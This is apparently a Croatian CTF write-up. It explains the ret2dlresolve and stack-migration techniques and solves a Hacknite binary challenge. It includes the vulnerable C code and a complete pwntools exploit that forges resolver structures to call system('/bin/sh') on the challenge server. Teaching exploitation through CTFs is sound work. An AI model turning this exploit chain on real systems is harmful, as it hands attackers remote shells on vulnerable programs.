Ret2DlResolve
Ideja je iskoristiti funkciju za symbol resolving.
Uvjet:
- Koristi se lazy binding (adresa funkcije se pronađe tek kada se pozove)
Dl_runtime_resolve je funkcija koja pronalazi adresu funkcije unutar dynamic shared objecta (npr. libc). Postiže se krivotvorenjem različitih argumenata (sekcije, objekti dinamičkog linkera itd…) dl_runtime_resolve funkciji. Prednost jest ta što nije potreban libc leak jer resolver sam pronađe adresu tražene funkcije. Koristi se u slučajevima kada program ne sadrži funkcije s outputom (printf, puts…) kako bi se dobio leak (ili ga jednostavno nije moguće dobiti iako postoje). Nedostatak jest potreba za velikim prostorom za pisanje (potreban veliki overflow ili upis .bss itd…) jer su argumenti velike strukture. Rezultat jest resolve i poziv proizvoljne funkcije (u većini slučajeva) sa zadanim argumentima.
Više o ret2dlresolve napadu se može pronaći ovdje.
Primjer - Zadatak s Hacknite platforme - Šutnja je zlato
Kako bi se zadatak riješio potrebno je znati dva koncepta binarne eksploatacije
1. Stack migration 2. Ret2dlresolve
Stack migration je postupak prebacivanja stack pointera na željenu adresu. Može postići na više načina poput instrukcija pop rsp, ali najčešći je putem izmjenom saved base pointer adrese.
Ideja je da se izmijeni base pointer kako bi pri završavanju funkcije instrukcije “leave; ret;” izmijenile na koju adresu rbp pokazuje (u ovom zadatku to će biti na .bss sekciju). Leave je instrukcija koja radi isto što i “mov rsp,rbp; pop rbp;”. Dakle, rsp se postavi na adresu na koju pokazuje rbp te zatim u rbp postavi pohranjenu adresu. Kako bi se izvršio stack migrate potrebno je završiti dvije funkcije. Za vrijeme prve se izmijeni saved base pointer zbog čega “pop rbp;” unutar leave instrukcije izmijeni na koju adresu registar rbp pokazuje. Nakon završetka druge funkcije “mov rsp, rbp;” unutar leave instrukcije postavlja trenutačnu adresu rbp-a unutar rsp-a i time se izvršio stack migrate.
Ova ranjivost je vidljiva u sljedećim dijelovima koda:
int main(int argc, char const *argv[]) { read(0,&padding[2000],100); func(50); return 0; }
int func(int a){ #Druga funkcija vuln(); return a + 10; #Mov rsp, rbp; --> stack migrate }
void vuln(){ #Prva funkcija long longs[6]; read(0,longs,56); #Overflow base pointer adrese i izmjena rbp-a }
Ret2dlresolve ja lagano automatizirati s pomoću pwntoolsa. S pomoću njega stvori se payload za krivotvorene argumente te payload za pozivanje plt_init-a s ispravnim reloc indeksom te ROP gadgetom/argumentima na “stacku” (ovisno o tome je li program x64 ili x32). Kako pwntoolsov ret2dlresolve funkcionira može se pogledati u dokumentaciji.
Exploit:
from pwn import *
elf = ELF("./ZENv2") rop = ROP(elf)
p = remote("chal.hacknite.hr",12019) #p = process(["qemu-x86_64-static","ZENv2"]) #gdb.attach(p,"b *vuln") context.arch="amd64" context.log_level="debug"
padding_addr = elf.symbols["padding"] dlrescall_addr = padding_addr+2100+(16-(padding_addr+2100)%16)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop2 = ROP(elf) rop2.raw(1234567) rop2.ret2dlresolve(dlresolve)
rop.raw(p64(dlrescall_addr)) rop.read(0,dlrescall_addr,len(rop2.chain())) rop.read(0,dlresolve.data_addr,len(dlresolve.payload)) rop.raw(rop.leave)
p.send(flat(rop.chain(),length=100)) p.send(b"a"*48 + p64(padding_addr+2000)) p.send(rop2.chain()) p.send(dlresolve.payload)
#print(p.recvall()) p.interactive()
Exploit je najlakše objasniti ako se prati tok unosa podataka. Prvi p.send šalje payload za prvi read() unutar main funkcije. On se izvršava nakon stack migracije. Putem njega pozivaju read funkcije kojima se unose 2 payloada koje pwntoolsov ret2dlresolve stvori. Drugi p.send po redu jest odgovoran za stack migraciju. Padding_addr+2000 je adresa na koju je prvi read pisao. Treći p.send odgovoran je za unos jednog od pwntoolsovih payloada (u ovom slučaju to je poziv plt_init-a te odgovarajućih ROP Gadgeta za “/bin/sh” argument). Zadnjim p.sendom se šalju krivotvorene strukture koji služe kao argumenti dl_runtime_resolve funkciji. Ako exploit uspije, korisniku je dodijeljen shell putem system(“/bin/sh”).